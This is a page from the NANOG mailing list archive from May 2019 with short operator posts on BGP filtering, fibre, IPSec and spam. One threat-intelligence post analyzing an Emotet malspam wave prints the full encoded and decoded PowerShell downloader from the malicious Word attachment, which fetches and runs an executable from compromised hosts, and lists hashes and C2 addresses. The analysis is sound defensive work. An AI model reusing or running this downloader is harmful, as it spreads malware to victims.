- Test - lists.nanog.org

Paging voip.ms management
by Eric Kuhnke 30 May '19

30 May '19

After attempting several times, and failing to get something resembling a real RFO from your first tier customer support/ticket answering staff, I am now looking for a person in a position of responsibility at voip.ms. Please contact me off list.

1 0

BGP prefix filter list
by Baldur Norddahl 30 May '19

30 May '19

Hello This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. Thanks, Baldur

31 57

Mexico
by Mehmet Akcin 30 May '19

30 May '19

Hi there I am looking for dark fibre in several markets in México and waves from mexico city to LA and Dallas. If you know someone in wholesale who can help, please contact me offlist Thank you. Mehmet -- Mehmet +1-424-298-1903

2 1

VPN / IPSEC Management
by Chris Knipe 30 May '19

30 May '19

Hi Guys, Quick question... In orgs using frequent and large amounts of IPSec, what are you guys using in terms of configuration management / documentation? Especially in terms of Phase 2 and documenting what the relevant Phase 2s are for? Is it a matter of text files / spreadsheets, or are there something out there to manage this with? -- Regards, Chris Knipe

2 1

29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members]
by Paul Ferguson 30 May '19

30 May '19

*Just an FYI, the obfuscated URLs and IPs below are malicious.* This is apparently (?) part of a wave of spoofed malspams impersonating messages with ‘weaponized' attachments sent to the NANOG (North American Network Operators Group) mailing list. Background: https://mailman.nanog.org/pipermail/nanog/2019-May/101140.html Details: Date: Wed, 29 May 2019 10:03:04 -0500 From: "NANOG" <Helene.Rouleau(a)paral.ca> To: "Paul Ferguson" <fergdawgster(a)mykolab.com> Subject: Mykolab Ref Id: I32560 X-Authenticated-Sender: s214.panelboxmanager.com Return-Path: <Helene.Rouleau(a)paral.ca> Attachment: "ATTACHMENT 654860 I32560.doc" MD5: 49fbc31d5e46d83c4741d64a1c268e8d SHA-1: 62b00133e2a78063b76a473a9c0b42a00b3042b8 SHA256: 8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5 File Type: MS Word Document Magic CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: North Dakota, Subject: Maine, Author: Darrell Hammes, Comments: Tunisia policy, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue May 28 12:55:00 2019, Last Saved Time/Date: Tue May 28 12:55:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 90, Security: 0 SSDeep: 3072:t1b77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qSp8ALPmiuVvbIF/j9G5:Pb77HUUUUUUUUUUUUUUUUUUUT52VP61Z TRiD: Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%) File Size: 136.38 KB Analysis: VT: https://www.virustotal.com/#/file/8c401ced381ce742105acae9b3d39d2f01681d4e3… HA: https://www.hybrid-analysis.com/sample/8c401ced381ce742105acae9b3d39d2f0168… Joe Sandbox: https://www.joesandbox.com/analysis/136644/0/executive app.anny.run: https://app.any.run/tasks/18d747ef-42d6-40e8-b496-6eb54c5f5dac Embedded Powershell script does: WINWORD.EXE /n "C:\ATTACHMENT654860I32560.doc" (PID: 3256) powershell.exe powershell -nop -e JABDAGwASQBFAFkAawAyAD0AJwBhAEoATgBNAEsARgAzAGwAJwA7ACQAUgB3AFkASwBDAHYATwAgAD0AIAAnADkAMwA2ACcAOwAkAFEAQgBWAGEAZAA5AD0AJwBMADgASABEAHoATgAnADsAJAB3AFgAcABiAFYAcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgB3AFkASwBDAHYATwArACcALgBlAHgAZQAnADsAJABHAEEAaQB6AHoANwA9ACcARABPAEkAbwBTAFQAJwA7ACQAVABiADkARQB1ADIASQByAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdABgAC4AVwBlAEIAQwBgAEwAYABJAEUATgB0ADsAJABrAHUAVwBfAG8ANwBTADUAPQAnAGgAdAB0AHAAOgAvAC8AYwBlAG8ALgBjAGEAbABjAHUAcwAuAGMAbwBtAC8AcABvAHMAdABuAGUAdwBvAC8AUgB3AGgAdgBPAGwAWgBJAHMALwBAAGgAdAB0AHAAOgAvAC8AbABhAHMAdABtAGkAbgB1AHQAZQBsAG8AbABsAGkAcABvAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGEARQBRAGwAcABwAGQAbABmAG8ALwBAAGgAdAB0AHAAOgAvAC8AawBhAHMAaABtAGkAcgBoAGEAYwBrAGUAcgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AFEAWABoAG8AcgB0AFMAZgBKAC8AQABoAHQAdABwADoALwAvAG8AbQBlAGcAYQBjAG8AbgBzAHUAbAB0AG8AcgBpAGEAYwBvAG4AdABhAGIAaQBsAC4AYwBvAG0ALgBiAHIALwBzAGkAdABlAC8AdwBBAEsAawBiAE8ARQB3AHkALwBAAGgAdAB0AHAAOgAvAC8AbgBvAHQAdABzAHAAYwByAGUAcABhAGkAcgAuAGMAbwAuAHUAawAvAG4AeQBlAC8AaABLAFoAbABEAHYAUABmAHkALwAnAC4AUwBQAEwAaQBUACgAJwBAACcAKQA7ACQAbwA3AFYAQgBRAHQAbABiAD0AJwBPADEAWQBHAGIAMABwACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6ADMAUgB2ADMAagB2ACAAaQBuACAAJABrAHUAVwBfAG8ANwBTADUAKQB7AHQAcgB5AHsAJABUAGIAOQBFAHUAMgBJAHIALgBEAG8AdwBOAEwATwBhAGQARgBJAEwARQAoACQAegAzAFIAdgAzAGoAdgAsACAAJAB3AFgAcABiAFYAcAApADsAJABpAFkAcABPAFkAYwBMAFYAPQAnAFgAMAA2AGoAUwBSADIANAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHcAWABwAGIAVgBwACkALgBsAEUAbgBnAFQASAAgAC0AZwBlACAAMgA5ADcAOAAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAQQBSAFQAKAAkAHcAWABwAGIAVgBwACkAOwAkAFYASABUAE8AbwB1AHcAPQAnAEkAXwBXAGsAMgBiAEgAcgAnADsAYgByAGUAYQBrADsAJABFAFgAWABtAEIAbQBYAD0AJwByAGsARgBLAEMAVAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAEEAdQB0AGEAWQA9ACcAWQBuAFYAcQAzAEoASgAnAA== (PID: 2624,Additional Context: $ClIEYk2='aJNMKF3l';$RwYKCvO = '936';$QBVad9='L8HDzN';$wXpbVp=$env:userprofile+'\'+$RwYKCvO+'.exe';$GAizz7='DOIoST';$Tb9Eu2Ir=.('new-'+'obj'+'ect') Net`.WeBC`L`IENt;$kuW_o7S5='http://ceo.calcus[.]com/postnewo/RwhvOlZIs/@http://lastminutelollipop[.]com…'.SPLiT('@');$o7VBQtlb='O1YGb0p';foreach($z3Rv3jv in $kuW_o7S5){try{$Tb9Eu2Ir.DowNLOadFILE($z3Rv3jv, $wXpbVp);$iYpOYcLV='X06jSR24';If ((&('Get-'+'Ite'+'m') $wXpbVp).lEngTH -ge 29780) {[Diagnostics.Process]::START($wXpbVp);$VHTOouw='I_Wk2bHr';break;$EXXmBmX='rkFKCT'}}catch{}}$SAutaY='YnVq3JJ') 936.exe (PID: 2888) 24/72 936.exe --26d066e0 (PID: 2932) 24/72 enablerouting.exe (PID: 272) 'Payload quintet' from script above (compromised pages): http://ceo.calcus[.]com/postnewo/RwhvOlZIs/ http://lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ http://kashmirhackers[.]com/wp-admin/wQXhortSfJ/ http://omegaconsultoriacontabil[.]com.br/site/wAKkbOEwy/ http://nottspcrepair[.]co.uk/nye/hKZlDvPfy/' Observed network activity: GET ceo.calcus[.]com/postnewo/RwhvOlZIs/ GET lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ POST 31.12.67[.]62:7080/acquire/tlb/ringin/ Non-authoritative answer: Name: ceo.calcus[.]com Address: 68.183.65[.]234 Non-authoritative answer: Name: lastminutelollipop[.]com Address: 158.69.127[.]22 Non-authoritative answer: Name: kashmirhackers[.]com Address: 173.249.2[.]31 Non-authoritative answer: Name: omegaconsultoriacontabil[.]com.br Address: 74.63.242[.]18 Non-authoritative answer: Name: nottspcrepair[.]co.uk Address: 185.38.44[.]163 AS | IP | AS Name 14061 | 68.183.65[.]234 | DIGITALOCEAN-ASN - DigitalOcean, LLC, US (shared hosting) 16276 | 158.69.127[.]22 | OVH, FR (shared hosting) 51167 | 173.249.2[.]31 | CONTABO, DE (shared hosting) 46475 | 74.63.242[.]18 | LIMESTONENETWORKS - Limestone Networks, Inc., US (shared hosting) 33182 | 185.38.44[.]163 | DIMENOC - HostDime.com, Inc., US (shared hosting) 44099 | 31.12.67[.]62 | RUNISO-AS RUNISO Autonomous System, FR (appears to be stand-alone IP, no PTR record) FYI, - ferg — Paul Ferguson Principal, Threat Intelligence Gigamon Seattle, Washington, USA

3 3

Internet emergency alerts: Alexa now supports "Announcements"
by Sean Donelan 29 May '19

29 May '19

Amazon has announced a new API for its voice services, i.e. Alexa. This enables one-way Alexa announcements within a household and from Apps without prompting by the user. Although the Amazon blog did not comment about the use of Amazon Announcements concerning Emergency Alert System broadcasts (e.g. tornado warnings, evacuation alerts, wildfires, etc), this newe API may solve the previous constrain that Alexa devices only responded to user interaction. Previously, Alexa speakers could tell you there was a tornado warning when you asked for the current weather or passively show weather warnings on Amazon Echo Show screens. Alexa would not proactively announce warnings until you prompted it. I don't know if Amazon will leave it up to 3rd parties to create Apps with emergency alert announcements. https://developer.amazon.com/blogs/alexa/post/c291e779-366b-4e7f-93e2-782b2… Google Search passively shows some emergency alerts at the top of its search pages based on your location. Google Assistant devices do not appear to react to emergency alerts. Netflix, Hulu and other streaming apps are likely the wrong layer for emergency alerts. Alerts should likely be part of the device management layer, to provide consistent behavior across apps instead of app by app.

1 0

Power cut if temps are too high
by Dovid Bender 29 May '19

29 May '19

12 17

Anyone from OpenDNS
by sam＠circlenet.us 28 May '19

28 May '19

Good afternoon list, Anyone on the list from OpenDNS willing to contact me offlist? Somehow my $dayjobs SSL cert if being munged on your service. Thank you Sam Moats

1 0

China Telecom people at NANOG 75
by Töma Gavrichenkov 28 May '19

28 May '19

Peace, There was some sales manager at the San Francisco meeting, from China Telecom, whom I had a chat with. I have lost their business card since then, and the attendee list for the 75th meeting is already missing from cvent dot com. If they are reading the mailing list, then I'd ask them to drop me a message off-list. Have a good day. | Töma Gavrichenkov | gpg: 2deb 97b1 0a3c 151d b67f 1ee5 00e7 94bc 4d08 9191 | mailto: ximaera(a)gmail.com | fb: ximaera | telegram: xima_era | skype: xima_era | tel. no: +7 916 515 49 58

1 0

Re: Spamming of NANOG list members
by Brian Kantor 24 May '19

24 May '19

An interesting development: my posting to this list a few minutes ago seems to have triggered an autoresponder asking me to confirm the issuance of a support ticket by Liquid Web, whoever they are. - Brian > > On Fri, May 24, 2019 at 08:17:31AM -0700, Brian Kantor wrote: > > > Anne, the way that such addresses are often harvested is that one of > > > the spammers (or his agent) becomes a member of the list and simply > > > records the addresses of persons posting to the list. They then > > > get spammed.

2 1